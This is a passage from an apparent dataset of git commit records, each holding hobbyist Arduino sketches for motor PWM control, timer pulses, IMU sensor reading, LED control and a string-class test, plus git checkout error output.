\/\/Tiempo que cuenta\n \/\/ Para de contar \n \/\/delay(samplePeriod); \/\/Este retardo es para notar el cambio\n TCCR1B = 0; \n count = TCNT1;\n TCNT1 = 0; \/\/ reset the hardware counter\n }\n \n RPS = count \/ 12; \/\/ Se calculan las RPS--Revoluciones por segundo\n \n}\n\nint Aumenta_PWM(int)\n{\n do\n {\n if (abs(error)==1 && n < 3)\n {\n incremento=incremento\/2;\n n=n+1;\n }\n \n v_inicio = v_inicio + incremento;\n analogWrite(PW_MA,v_inicio);\n delay(1000);\n \n contador();\n Dato = Serial.parseInt();\n error = RPS - Dato;\n Serial.println(RPS);\n }while(error < 0);\n \n return v_inicio;\n}\n\nint Disminuye_PWM(int)\n{\n do\n {\n if (abs(error)==1 && n < 3)\n {\n incremento=incremento\/2;\n n=n+1;\n } \n \n v_inicio = v_inicio - incremento;\n analogWrite(PW_MA,v_inicio);\n delay(1000);\n \n contador();\n Dato = Serial.parseInt();\n error = RPS - Dato; \n Serial.println(RPS);\n }while(error > 0);\n\n return v_inicio;\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Controlador_interfaz_Matlab-Arduino\/Controlador\/Controlador\/Controlador.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"a8186e04d1304301141b9fc91e15fc968c271513","subject":"Added ESP32 mysensors mqtt gateway","message":"Added ESP32 mysensors mqtt gateway\n","repos":"werar\/iothome,werar\/iothome,werar\/iothome","old_file":"modules\/mysensor_mqtt_bridge_for_cabinet\/D1_mini_mqtt_GW\/ESP32_mqtt_GW.ino","new_file":"modules\/mysensor_mqtt_bridge_for_cabinet\/D1_mini_mqtt_GW\/ESP32_mqtt_GW.ino","new_contents":"","old_contents":"","returncode":128,"stderr":"remote: Support for password authentication was removed on August 13, 2021.\nremote: Please see https:\/\/docs.github.com\/en\/get-started\/getting-started-with-git\/about-remote-repositories#cloning-with-https-urls for information on currently recommended modes of authentication.\nfatal: Authentication failed for 'https:\/\/github.com\/werar\/iothome.git\/'\n","license":"mit","lang":"Arduino"} {"commit":"d76230af15a266f26120e81debafaad409ac1a86","subject":"added basic button to trigger timer","message":"added basic button to trigger timer","repos":"hantar\/arduinogo,hantar\/arduinogo,hantar\/arduinogo","old_file":"matrix timer\/my_-_matrix8x8.ino","new_file":"matrix timer\/my_-_matrix8x8.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'matrix' did not match any file(s) known to git\nerror: pathspec 'timer\/my_-_matrix8x8.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"4fedb97f5d3f4b13a88b5e0cf61680c091ad1619","subject":"urm37 testing","message":"urm37 testing\n","repos":"lushl9301\/Yellow-SubArena","old_file":"sensor testing\/URM37\/URM37.ino","new_file":"sensor testing\/URM37\/URM37.ino","new_contents":"","old_contents":"","returncode":1,"stderr":"error: pathspec 'sensor' did not match any file(s) known to git\nerror: pathspec 'testing\/URM37\/URM37.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"d9c8ba094f1e647eec53ed4dcf8f9cf5dd2485d5","subject":"Testing New Function","message":"Testing New Function\n","repos":"Darren-Mc\/Arduino,Darren-Mc\/Arduino","old_file":"Timer1Shot\/Timer1Shot\/Timer1Shot.ino","new_file":"Timer1Shot\/Timer1Shot\/Timer1Shot.ino","new_contents":"\/\/ More info about this program is here...\n\/\/ http:\/\/wp.josh.com\/2015\/03\/05\/the-perfect-pulse-some-tricks-for-generating-precise-one-shots-on-avr8\/\n\n\/\/ Demo of a technique to generate narrow and precise one shot pulses using a \n\/\/ timer module on an AVR. This demo code is writen for an Arduino and uses\n\/\/ the Timer2 moudle, but this techniquie should would on other AVRs and timers. \n\n\/\/ The demo generates one pulse per second. \n\/\/ The 1st pulse is 0 cycles long (no pulse), \n\/\/ The 2nd pulse is 1 cycle long (~63ns),\n\/\/ The 3rd pulse is 2 cycles long (~126ns), \n\/\/ ...up to a total of 20 pulses, and then starts over.\n\n\/\/ The one shot pulses are output on Digial pin 3\n\n\/***************************\/\n\/* PIN CONNECTIONS & NAMES *\/\n\/***************************\/\n#define SERVO_PIN 9\n\n\/*************\/\n\/* CONSTANTS *\/\n\/*************\/\n#define MIN 740\n#define MAX 2430\n#define BUFLEN 100\n#define MAXF 5\n#define MAXA 45\n#define OFFSET -40\n\n\n#define OSP_SET_WIDTH(cycles) (OCR1B = 0xffff-(cycles-1))\n\nint pos;\nint maxt = MAX + OFFSET;\nint mint = MIN + OFFSET;\ndouble mid = 191.62;\ndouble amp = 23.30;\nlong start;\n\n\/\/ Setup the one-shot pulse generator and initialize with a pulse width that is (cycles) clock counts long\n\nvoid osp_setup(uint16_t cycles) {\n\n\n TCCR1B = 0; \/\/ Halt counter by setting clock select bits to 0 (No clock source).\n \/\/ This keeps anyhting from happeneing while we get set up\n\n TCNT1 = 0x0000; \/\/ Start counting at bottom. \n OCR1A = 0; \/\/ Set TOP to 0. This effectively keeps us from counting because the counter just keeps reseting back to 0.\n \/\/ We break out of this by manually setting the TCNT higher than 0, in which case it will count all the way up to MAX and then overflow back to 0 and get locked up again.\n OSP_SET_WIDTH(cycles); \/\/ This also makes new OCR values get loaded frm the buffer on every clock cycle. \n\n TCCR1A = _BV(COM2B0) | _BV(COM2B1) | _BV(WGM20) | _BV(WGM21); \/\/ OC2B=Set on Match, clear on BOTTOM. Mode 7 Fast PWM.\n TCCR1B = _BV(WGM22) | _BV(CS20); \/\/ Start counting now. WGM22=1 to select Fast PWM mode 7\n\n DDRD |= _BV(3); \/\/ Set pin to output (Note that OC2B = GPIO port PD3 = Arduino Digital Pin 3)\n}\n\nvoid timer1_setup (byte mode, int prescale, byte outmode_A, byte outmode_B, byte capture_mode)\n{\n \/\/ enforce field widths for sanity\n mode &= 15 ;\n outmode_A &= 3 ;\n outmode_B &= 3 ;\n capture_mode &= 3 ;\n\n byte clock_mode = 0 ; \/\/ 0 means no clocking - the counter is frozen.\n switch (prescale)\n {\n case 1: clock_mode = 1 ; break ;\n case 8: clock_mode = 2 ; break ;\n case 64: clock_mode = 3 ; break ;\n case 256: clock_mode = 4 ; break ;\n case 1024: clock_mode = 5 ; break ;\n default:\n if (prescale < 0)\n clock_mode = 7 ; \/\/ external clock\n }\n TCCR1A = (outmode_A << 6) | (outmode_B << 4) | (mode & 3) ;\n TCCR1B = (capture_mode << 6) | ((mode & 0xC) << 1) | clock_mode ;\n}\n\n\/\/ Setup the one-shot pulse generator\n\nvoid osp_setup() {\n\n timer1_setup(0x0, 1, 0x0, 0x0, 0x0);\n\n}\n\n\/\/ Fire a one-shot pulse. Use the most recently set width. \n\n#define OSP_FIRE() (TCNT1 = OCR1B - 1)\n\n\/\/ Test there is currently a pulse still in progress\n\n#define OSP_INPROGRESS() (TCNT1>0)\n\n\/\/ Fire a one-shot pusle with the specififed width. \n\/\/ Order of operations in calculating m must avoid overflow of the unint8_t.\n\/\/ TCNT1 starts one count lower than the match value becuase the chip will block any compare on the cycle after setting a TCNT. \n\n#define OSP_SET_AND_FIRE(cycles) {uint16_t m=0xffff-(cycles-1); OCR1B=m;TCNT1 =m-1;}\n\n\nvoid setup()\n{\n Serial.begin(38400);\n osp_setup();\n \/\/OSP_SET_WIDTH(254);\n start = micros();\n}\n\nvoid loop()\n{\n long time = micros();\n \/\/pos = round(amp*sin(2*PI*0.5*(time-start)\/1000000.0) + mid);\n noInterrupts();\n OSP_SET_AND_FIRE(250);\n while (OSP_INPROGRESS()){};\n interrupts();\n long time2 = micros();\n Serial.println(time2-time);\n _delay_ms(20);\n \n \/\/ Step though 0-19 cycle long pulses for demo purposes \n \/*long start = micros();\n \/\/for(int i=0; i < 150; i++)\n \/\/{\n OSP_FIRE(); \/\/160 = 10us\n while (OSP_INPROGRESS()){}; \n \/\/}\n long now = micros();\n Serial.println(now-start);\n _delay_ms(20);*\/\n \n \/*\n for (pos = 168; pos < 192; pos++) {\n\n \/\/long beginning = micros();\n OSP_SET_AND_FIRE(pos);\n\n \/\/while (OSP_INPROGRESS()); \/\/ This just shows how you would wait if nessisary - not nessisary in this application. \n\n \/\/long now = micros();\n \/\/Serial.println(now-beginning);\n delay(20);\/\/_delay_ms(20); \/\/ Wait a sec to let the audience clap\n\n }\n \n for (pos = 192; pos > 168; pos--) {\n \/\/long beginning = micros();\n OSP_SET_AND_FIRE(pos);\n\n \/\/while (OSP_INPROGRESS()); \/\/ This just shows how you would wait if nessisary - not nessisary in this application. \n\n \/\/long now = micros();\n \/\/Serial.println(now-beginning);\n \n delay(20);\/\/_delay_ms(20); \/\/ Wait a sec to let the audience clap\n\n }*\/\n\n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'Timer1Shot\/Timer1Shot\/Timer1Shot.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"3077f85320a81ab5b0e231adc8939da015df499b","subject":"Base code for AzElSensor","message":"Base code for AzElSensor\n","repos":"AdlerFarHorizons\/PortableAntennaRotorControl","old_file":"AzElSensor\/AzElSensor.ino","new_file":"AzElSensor\/AzElSensor.ino","new_contents":"\/*\n * Base code for AzElSensor taken from:\n * \n * https:\/\/github.com\/chrisspen\/homebot\/blob\/master\/src\/test\/MPU9250-test1\/src\/mpu9250_arduino.ino\n * \n * Attribution is not provided, but is apparently based on the\n * Arduino Mega code (apparently) by Phillipe Lucidarme at:\n * \n * http:\/\/www.lucidarme.me\/?p=5057\n * \n*\/\n\n#include <Wire.h>\n#include <TimerOne.h>\n\n#define MPU9250_ADDRESS 0x68\n#define MAG_ADDRESS 0x0C\n\n#define GYRO_FULL_SCALE_250_DPS 0x00 \n#define GYRO_FULL_SCALE_500_DPS 0x08\n#define GYRO_FULL_SCALE_1000_DPS 0x10\n#define GYRO_FULL_SCALE_2000_DPS 0x18\n\n#define ACC_FULL_SCALE_2_G 0x00 \n#define ACC_FULL_SCALE_4_G 0x08\n#define ACC_FULL_SCALE_8_G 0x10\n#define ACC_FULL_SCALE_16_G 0x18\n\n\n\n\/\/ This function read Nbytes bytes from I2C device at address Address. \n\/\/ Put read bytes starting at register Register in the Data array. \nvoid I2Cread(uint8_t Address, uint8_t Register, uint8_t Nbytes, uint8_t* Data)\n{\n \/\/ Set register address\n Wire.beginTransmission(Address);\n Wire.write(Register);\n Wire.endTransmission();\n \n \/\/ Read Nbytes\n Wire.requestFrom(Address, Nbytes); \n uint8_t index=0;\n while (Wire.available())\n Data[index++]=Wire.read();\n}\n\n\n\/\/ Write a byte (Data) in device (Address) at register (Register)\nvoid I2CwriteByte(uint8_t Address, uint8_t Register, uint8_t Data)\n{\n \/\/ Set register address\n Wire.beginTransmission(Address);\n Wire.write(Register);\n Wire.write(Data);\n Wire.endTransmission();\n}\n\n\n\n\/\/ Initial time\nlong int ti;\nvolatile bool intFlag=false;\n\n\/\/ Initializations\nvoid setup()\n{\n \/\/ Arduino initializations\n Wire.begin();\n Serial.begin(115200);\n \n \/\/ Set accelerometers low pass filter at 5Hz\n I2CwriteByte(MPU9250_ADDRESS,29,0x06);\n \/\/ Set gyroscope low pass filter at 5Hz\n I2CwriteByte(MPU9250_ADDRESS,26,0x06);\n \n \n \/\/ Configure gyroscope range\n I2CwriteByte(MPU9250_ADDRESS,27,GYRO_FULL_SCALE_1000_DPS);\n \/\/ Configure accelerometers range\n I2CwriteByte(MPU9250_ADDRESS,28,ACC_FULL_SCALE_4_G);\n \/\/ Set by pass mode for the magnetometers\n I2CwriteByte(MPU9250_ADDRESS,0x37,0x02);\n \n \/\/ Request continuous magnetometer measurements in 16 bits\n I2CwriteByte(MAG_ADDRESS,0x0A,0x16);\n \n pinMode(13, OUTPUT);\n Timer1.initialize(10000); \/\/ initialize timer1, and set a 1\/2 second period\n Timer1.attachInterrupt(callback); \/\/ attaches callback() as a timer overflow interrupt\n \n \n \/\/ Store initial time\n ti=millis();\n}\n\n\n\n\n\n\/\/ Counter\nlong int cpt=0;\n\nvoid callback()\n{ \n intFlag=true;\n digitalWrite(13, digitalRead(13) ^ 1);\n}\n\n\/\/ Main loop, read and display data\nvoid loop()\n{\n while (!intFlag);\n intFlag=false;\n \n \/\/ Display time\n \/\/Serial.print (millis()-ti,DEC);\n Serial.print (String(\"time: \")+String(millis()-ti));\n Serial.print (\"\\t\");\n\n \n \/\/ _______________\n \/\/ ::: Counter :::\n \n \/\/ Display data counter\n\/\/ Serial.print (cpt++,DEC);\n\/\/ Serial.print (\"\\t\");\n \n \n \n \/\/ ____________________________________\n \/\/ ::: accelerometer and gyroscope ::: \n\n \/\/ Read accelerometer and gyroscope\n uint8_t Buf[14];\n I2Cread(MPU9250_ADDRESS,0x3B,14,Buf);\n \n \/\/ Create 16 bits values from 8 bits data\n \n \/\/ Accelerometer\n int16_t ax=-(Buf[0]<<8 | Buf[1]);\n int16_t ay=-(Buf[2]<<8 | Buf[3]);\n int16_t az=Buf[4]<<8 | Buf[5];\n\n \/\/ Gyroscope\n int16_t gx=-(Buf[8]<<8 | Buf[9]);\n int16_t gy=-(Buf[10]<<8 | Buf[11]);\n int16_t gz=Buf[12]<<8 | Buf[13];\n \n \/\/ Display values\n \n \/\/ Accelerometer\n Serial.print(\"Accel: \");\n Serial.print (ax,DEC); \n Serial.print (\"\\t\");\n Serial.print (ay,DEC);\n Serial.print (\"\\t\");\n Serial.print (az,DEC); \n Serial.print (\"\\t\");\n \n \/\/ Gyroscope\n Serial.print(\"Gyro: \");\n Serial.print (gx,DEC); \n Serial.print (\"\\t\");\n Serial.print (gy,DEC);\n Serial.print (\"\\t\");\n Serial.print (gz,DEC); \n Serial.print (\"\\t\");\n\n \n \/\/ _____________________\n \/\/ ::: Magnetometer ::: \n\n \n \/\/ Read register Status 1 and wait for the DRDY: Data Ready\n \n uint8_t ST1;\n do\n {\n I2Cread(MAG_ADDRESS,0x02,1,&ST1);\n }\n while (!(ST1&0x01));\n\n \/\/ Read magnetometer data \n uint8_t Mag[7]; \n I2Cread(MAG_ADDRESS,0x03,7,Mag);\n \n\n \/\/ Create 16 bits values from 8 bits data\n \n \/\/ Magnetometer\n int16_t mx=-(Mag[3]<<8 | Mag[2]);\n int16_t my=-(Mag[1]<<8 | Mag[0]);\n int16_t mz=-(Mag[5]<<8 | Mag[4]);\n \n \n \/\/ Magnetometer\n Serial.print(\"Compass: \");\n Serial.print (mx+200,DEC); \n Serial.print (\"\\t\");\n Serial.print (my-70,DEC);\n Serial.print (\"\\t\");\n Serial.print (mz-700,DEC); \n Serial.print (\"\\t\");\n \n \n \n \/\/ End of line\n Serial.println(\"\");\n Serial.flush();\n \n}\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'AzElSensor\/AzElSensor.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"63d315f77dbc71a13e558e7e9fcc5c9b1eae8ac8","subject":"Added string reference class test","message":"Added string reference class test\n","repos":"starofrainnight\/ArduinoRabirdToolkit,starofrainnight\/ArduinoRabirdTookit,starofrainnight\/ArduinoRabirdToolkit","old_file":"tests\/TestStringRefs\/TestStringRefs.ino","new_file":"tests\/TestStringRefs\/TestStringRefs.ino","new_contents":"#include <Arduino.h>\n#include <ArduinoUnit.h>\n#include <Arduino_FreeRTOS.h>\n#include <StandardCplusplus.h>\n#include <RabirdToolkit.h>\n#include <RAbstractStringRef.h>\n#include <string.h>\n\nclass BasicStringRef: public RAbstractStringRef\n{\npublic:\n BasicStringRef(const char * str);\n ~BasicStringRef();\n\n unsigned int\n length(void) const\n {\n return static_cast<unsigned int>(mLength);\n }\n\n char\n charAt(unsigned int index) const\n {\n if((NULL == mStr) || (index >= length()))\n {\n return '\\0';\n }\n\n return mStr[index];\n }\n\nprivate:\n const char * mStr;\n rnumber_t mLength;\n};\n\nBasicStringRef::BasicStringRef(const char * str): RAbstractStringRef(), mStr(str), mLength(0)\n{\n if(NULL != str)\n {\n mLength = rSignedCast(strlen(str));\n }\n}\n\nBasicStringRef::~BasicStringRef()\n{\n}\n\ntest(TestAbstractStringRef)\n{\n const char * normalString0 = \"\";\n const char * normalString1 = \"a\";\n const char * normalString2 = \"ab\";\n const char * normalString3 = \"abc\";\n const char * normalString4 = \"AbC\";\n\n \/\/ length\n assertEqual(BasicStringRef(normalString0).length(), strlen(normalString0));\n assertEqual(BasicStringRef(normalString1).length(), strlen(normalString1));\n assertEqual(BasicStringRef(normalString2).length(), strlen(normalString2));\n assertEqual(BasicStringRef(normalString3).length(), strlen(normalString3));\n\n \/\/ compareTo\n assertEqual(BasicStringRef(normalString3).compareTo(BasicStringRef(normalString3)), 0);\n assertMore(BasicStringRef(normalString3).compareTo(BasicStringRef(normalString2)), 0);\n assertMore(BasicStringRef(normalString3).compareTo(BasicStringRef(normalString1)), 0);\n assertMore(BasicStringRef(normalString3).compareTo(BasicStringRef(normalString0)), 0);\n\n assertLess(BasicStringRef(normalString0).compareTo(BasicStringRef(normalString3)), 0);\n assertLess(BasicStringRef(normalString0).compareTo(BasicStringRef(normalString2)), 0);\n assertLess(BasicStringRef(normalString0).compareTo(BasicStringRef(normalString1)), 0);\n assertLess(BasicStringRef(normalString0).compareTo(BasicStringRef(normalString0)), 0);\n\n assertEqual(BasicStringRef(normalString3).compareTo((normalString3)), 0);\n assertMore(BasicStringRef(normalString3).compareTo((normalString2)), 0);\n assertMore(BasicStringRef(normalString3).compareTo((normalString1)), 0);\n assertMore(BasicStringRef(normalString3).compareTo((normalString0)), 0);\n\n assertLess(BasicStringRef(normalString0).compareTo((normalString3)), 0);\n assertLess(BasicStringRef(normalString0).compareTo((normalString2)), 0);\n assertLess(BasicStringRef(normalString0).compareTo((normalString1)), 0);\n assertLess(BasicStringRef(normalString0).compareTo((normalString0)), 0);\n\n \/\/ equals\n assertTrue(BasicStringRef(normalString3).equals(BasicStringRef(normalString3)));\n assertTrue(BasicStringRef(normalString3).equals((normalString3)));\n\n \/\/ equalsIgnoreCase\n assertTrue(BasicStringRef(normalString3).equalsIgnoreCase(BasicStringRef(normalString4)));\n assertTrue(BasicStringRef(normalString3).equalsIgnoreCase(BasicStringRef(normalString3)));\n assertFalse(BasicStringRef(normalString3).equalsIgnoreCase(BasicStringRef(normalString2)));\n assertFalse(BasicStringRef(normalString3).equalsIgnoreCase(BasicStringRef(normalString0)));\n\n \/\/ startsWith\n assertTrue(BasicStringRef(normalString3).startsWith(BasicStringRef(normalString3)));\n assertTrue(BasicStringRef(normalString3).startsWith(BasicStringRef(normalString2)));\n assertTrue(BasicStringRef(normalString3).startsWith(BasicStringRef(normalString1)));\n assertFalse(BasicStringRef(normalString3).startsWith(BasicStringRef(normalString0)));\n\n \/\/ endsWith\n assertTrue(BasicStringRef(normalString3).endsWith(BasicStringRef(\"c\")));\n assertTrue(BasicStringRef(normalString3).endsWith(BasicStringRef(\"bc\")));\n assertTrue(BasicStringRef(normalString3).endsWith(BasicStringRef(\"abc\")));\n assertFalse(BasicStringRef(normalString3).endsWith(BasicStringRef(\"\")));\n\n \/\/ charAt\n assertTrue(BasicStringRef(normalString3).charAt(0) == 'a');\n assertTrue(BasicStringRef(normalString3).charAt(1) == 'b');\n assertTrue(BasicStringRef(normalString3).charAt(2) == 'c');\n assertTrue(BasicStringRef(normalString3).charAt(3) == '\\0');\n\n \/\/ operator ==\n assertTrue(BasicStringRef(normalString3) == BasicStringRef(normalString3));\n assertTrue(BasicStringRef(normalString3) == normalString3);\n\n \/\/ operator !=\n assertTrue(BasicStringRef(normalString3) != BasicStringRef(normalString3));\n assertTrue(BasicStringRef(normalString3) != BasicStringRef(normalString0));\n\n \/\/ operator >\n assertTrue(BasicStringRef(normalString3) > BasicStringRef(normalString2));\n assertTrue(BasicStringRef(normalString3) > BasicStringRef(normalString0));\n\n \/\/ operator <\n assertTrue(BasicStringRef(normalString1) < BasicStringRef(normalString3));\n assertTrue(BasicStringRef(normalString1) < BasicStringRef(normalString2));\n\n \/\/ operator <=\n assertTrue(BasicStringRef(normalString2) <= BasicStringRef(normalString3));\n assertTrue(BasicStringRef(normalString2) <= BasicStringRef(normalString2));\n assertTrue(BasicStringRef(normalString2) <= BasicStringRef(normalString1));\n assertFalse(BasicStringRef(normalString2) <= BasicStringRef(normalString0));\n\n \/\/ operator >=\n assertFalse(BasicStringRef(normalString2) >= BasicStringRef(normalString3));\n assertTrue(BasicStringRef(normalString2) >= BasicStringRef(normalString2));\n assertTrue(BasicStringRef(normalString2) >= BasicStringRef(normalString1));\n assertTrue(BasicStringRef(normalString2) >= BasicStringRef(normalString0));\n}\n\nvoid setup()\n{\n Serial.begin(9600);\n while(!Serial); \/\/ for the Arduino Leonardo\/Micro only\n}\n\nvoid loop()\n{\n Test::run();\n}\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'tests\/TestStringRefs\/TestStringRefs.ino' did not match any file(s) known to git\n","license":"mit","lang":"Arduino"} {"commit":"b2277f700f25ce5112acd0f5c3f38495c54833b6","subject":"Vijay - 2017\/06\/10 - adding arduino java serialport examples","message":"Vijay - 2017\/06\/10 - adding arduino java serialport examples","repos":"konduruvijaykumar\/arduino-java-serialport-examples,konduruvijaykumar\/arduino-java-serialport-examples,konduruvijaykumar\/arduino-java-serialport-examples","old_file":"SerialPortCommunicator\/arduinosketch\/ControlLEDFromWeb\/ControlLEDFromWeb.ino","new_file":"SerialPortCommunicator\/arduinosketch\/ControlLEDFromWeb\/ControlLEDFromWeb.ino","new_contents":"#define LED_RED 2\n#define LED_GREEN 3\n#define LED_YELLOW 4\n\nunsigned char LR=0;\nunsigned char LG=0;\nunsigned char LY=0;\n\nvoid setup() {\n \/\/ put your setup code here, to run once:\n Serial.begin(9600);\n pinMode(LED_RED, OUTPUT);\n pinMode(LED_GREEN, OUTPUT);\n pinMode(LED_YELLOW, OUTPUT);\n \n digitalWrite(LED_RED, LOW);\n digitalWrite(LED_GREEN, LOW);\n digitalWrite(LED_YELLOW, LOW);\n}\n\nvoid loop() {\n \/\/ put your main code here, to run repeatedly:\n\n}\n\nvoid serialEvent() {\n int ind=0;\n char buff[11]; \n if(Serial.available()){\n delay(10);\n while(Serial.available()){\n char c = (char)Serial.read();\n if(ind<10){\n buff[ind++] = c;\n }\n }\n buff[ind]=0;\n \n if (strcmp(buff, \"red\")==0) { LR = 1-LR; digitalWrite(LED_RED, LR);\n }else if(strcmp(buff, \"green\")==0){ LG = 1-LG; digitalWrite(LED_GREEN, LG);\n }else if(strcmp(buff, \"yellow\")==0) { LY = 1-LY; digitalWrite(LED_YELLOW, LY);\n }\n } \n}\r\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'SerialPortCommunicator\/arduinosketch\/ControlLEDFromWeb\/ControlLEDFromWeb.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"262cffd75a486fb3a8b8feebf300fb93edf6b5b5","subject":"added arduino controller firmware","message":"added arduino controller firmware\n","repos":"DrBrainlove\/DBL_LEDcontrol,DrBrainlove\/DBL_LEDcontrol,DrBrainlove\/DBL_LEDcontrol","old_file":"DBL2_teensyctrl\/BLTest2015apa102enetFastled4\/BLTest2015apa102enetFastled4.ino","new_file":"DBL2_teensyctrl\/BLTest2015apa102enetFastled4\/BLTest2015apa102enetFastled4.ino","new_contents":"\/\/Ethernet to WS2811 bridge for max et\n\n\n#include \"FastLED.h\"\n#include <SPI.h> \/\/ needed for Arduino versions later than 0018\n#include <Ethernet.h>\n#include <EthernetUdp.h> \/\/ UDP library from: bjoern@cs.stanford.edu 12\/30\/2008\n#define NUM_LEDS 1010\n\/\/#define DATA_PIN 2\n\/\/#define CLOCK_PIN 3\n\n#define magicNum 603\n\nchar headerBL[3];\n\/\/char lt0[900] = {0}; \/\/temp buffers for packets\n\/\/char lt1[900] = {0};\n\/\/char lt2[900] = {0};\n\/\/char lt3[900];\n\n\n\n\n\n\/\/Teensy 3.1\n\/\/#define DATA_PIN 7\n\/\/#define CLOCK_PIN 14\n\n\/\/megatemp\n\/\/#define DATA_PIN 4\n\/\/#define CLOCK_PIN 5\n\n\n\/\/teesny bitbang\n#define DATA_PIN 21\n#define CLOCK_PIN 20\n\n\n#define COLOR_ORDER BGR\n#define CHIPSET APA102\n\n\n\n#define UDP_TX_PACKET_MAX_SIZE 700\n\nCRGB leds[NUM_LEDS];\n\n\n\/\/ Enter a MAC address and IP address for your controller below.\n\/\/ The IP address will be dependent on your local network:\n\/\/byte mac[] = {\n\/\/ 0xDE, 0xAD, 0xBE, 0xEF, 0xFE, 0xED };\nbyte mac[] = {\n 0xA0, 0xAF, 0xB4, 0xAF, 0x0b, 0x03\n};\nIPAddress ip(192, 168, 1, 210);\n\n\/\/IPAddress ip(10,4,2,10);\n\nunsigned int localPort = 6038; \/\/ local port to listen on\n\n\nEthernetUDP Udp;\n\n\/\/ buffers for receiving and sending data\n\/\/char packetBuffer[UDP_TX_PACKET_MAX_SIZE]; \/\/buffer to hold incoming packet,\nchar packetBuffer[UDP_TX_PACKET_MAX_SIZE]; \/\/buffer to hold incoming packet\n\n\nvoid setup() {\n \/\/ start the Ethernet and UDP:\n\n\n Ethernet.begin(mac, ip);\n Udp.begin(localPort);\n\n \/\/ FastLED.addLeds<CHIPSET, DATA_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<CHIPSET, DATA_PIN,CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n \/\/ FastLED.addLeds<CHIPSET,DATA_PIN,CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS);\n FastLED.addLeds<CHIPSET, DATA_PIN, CLOCK_PIN, COLOR_ORDER>(leds, NUM_LEDS).setCorrection(TypicalLEDStrip);\n\nFastLED.setBrightness(16);\n\n for (int i = 0; i < NUM_LEDS; i = i + 20) {\n \/\/ Set the i'th led to red\n leds[i] = CRGB::Blue;\n \/\/ Show the leds\n FastLED.show();\n \/\/ now that we've shown the leds, reset the i'th led to black\n leds[i] = CRGB::Black;\n \/\/ Wait a little bit before we loop around and do it again\n }\n \/\/\n Serial.begin(115200);\n Serial.println(\"enetNeoPixel finished setup 210\");\n \/\/Serial.println(IPAddress);\n \/\/Serial.println(char(mac));\n}\n\nvoid loop() {\n \/\/ if there's data available, read a packet\n int packetSize = Udp.parsePacket();\n \/\/ if(Udp.parsePacket())\n if (packetSize)\n {\n Udp.read(headerBL, 3);\n int shift = int(headerBL[0]); \n Serial.println(shift);\n \/\/ headerBL[0]=uint8_t(headerBL[0]);\n\n\n Udp.read( (char*)(leds + shift * 200), 600);\n \n \n }\nFastLED.show();\n Serial.println(LEDS.getFPS());\n}\n\n\n\n\n\n\n\n\n","old_contents":"","returncode":1,"stderr":"error: pathspec 'DBL2_teensyctrl\/BLTest2015apa102enetFastled4\/BLTest2015apa102enetFastled4.ino' did not match any file(s) known to git\n","license":"apache-2.0","lang":"Arduino"} {"commit":"5e31ac4cbc84726c68c396141a8e60ebe058a316","subject":"example-1 Pin","message":"example-1 Pin\n","repos":"kj415j45\/kjArduino,kj415j45\/kjArduino","old_file":"example\/example-1\/example-1.ino","new_file":"example\/example-1\/example-1.ino","new_contents":"\/**\r\n * example-1\r\n * \r\n * \u8fd9\u4e2a\u6837\u4f8b\u5c06\u6307\u5f15\u60a8\u6b63\u786e\u4f7f\u7528Pin\u7c7b\r\n * \u4ee5\u9ad8\u6548\u4f7f\u7528\u9488\u811a(Pin)\r\n * \r\n * \u672c\u6837\u4f8b\u5305\u542b\u4e86Pin\u7c7b\u7684\u57fa\u672c\u7528\u6cd5\r\n * \u81f3\u4e8e\u9ad8\u7ea7\u819c\u6cd5\u8bf7\u53c2\u8003Pin.h\r\n *\/\r\n\r\n#include <kjArduino.h>\r\n\r\n\/\/\u5728setup()\u7684\u5916\u9762\u58f0\u660e\u4e00\u4e2a\u9488\u811a,\u800c\u4e0d\u662f\u5728\u5b83\u91cc\u9762(\u5fc5\u987b)\r\n\/\/\u81f3\u4e8e\u4e3a\u4ec0\u4e48\u975e\u5f97\u5728\u5916\u9762,\u8fd9\u6d89\u53ca\u5230Arduino\u6e90\u7801\u7f16\u8bd1\u539f\u7406,\u6b64\u5904\u4e0d\u7ec6\u8bb2\r\nPin led = Pin(13, OUTPUT);\r\n\r\n\/\/\u4e5f\u5141\u8bb8\u53ea\u58f0\u660e\u9488\u811a\u5374\u4e0d\u58f0\u660e\u7528\u9014,\u4f46\u6700\u597d\u4e4b\u540e\u5728setup()\u4e2d\u521d\u59cb\u5316\r\nPin button = Pin(D1);\r\n\r\n\/\/\u58f0\u660e\u4e00\u4e2a\u547c\u5438\u706f\r\nPin breath = Pin(9, OUTPUT);\r\n\r\nvoid setup(){\r\n button.setMode(INPUT_PULLUP); \/\/\u58f0\u660ebutton\u8fd9\u4e2a\u9488\u811a\u7684\u7528\u9014\r\n}\r\n\r\nvoid loop(){\r\n if(button.isHigh()){ \/\/\u5982\u679c\u6309\u94ae\u6240\u5728\u9488\u811a\u4e3a\u9ad8\u7535\u5e73\r\n led.setHigh(); \/\/\u5c06LED\u7684\u7535\u5e73\u8bbe\u7f6e\u4e3a\u9ad8\r\n }else{\r\n led.setLow(); \/\/\u5c06LED\u7684\u7535\u5e73\u8bbe\u7f6e\u4e3a\u4f4e\r\n }\r\n\r\n breath.fade(0, 255, 10, 1); \/\/\u8ba9\u547c\u5438\u706f\u5f00\u59cb\u547c\u5438,\u540e\u4e24\u4e2a\u53c2\u6570\u4e0d\u662f\u5fc5\u987b\u503c,\u53c2\u8003Pin.h\u5185\u7684doc\u4ee5\u4e86\u89e3\u66f4\u591a\r\n breath.fade(255, 0);\r\n\r\n breath.set(233); \/\/\u8bbe\u7f6e\u547c\u5438\u706f\u6240\u5728\u9488\u811a\u7684\u6a21\u62df\u503c\u4e3a233\r\n\r\n 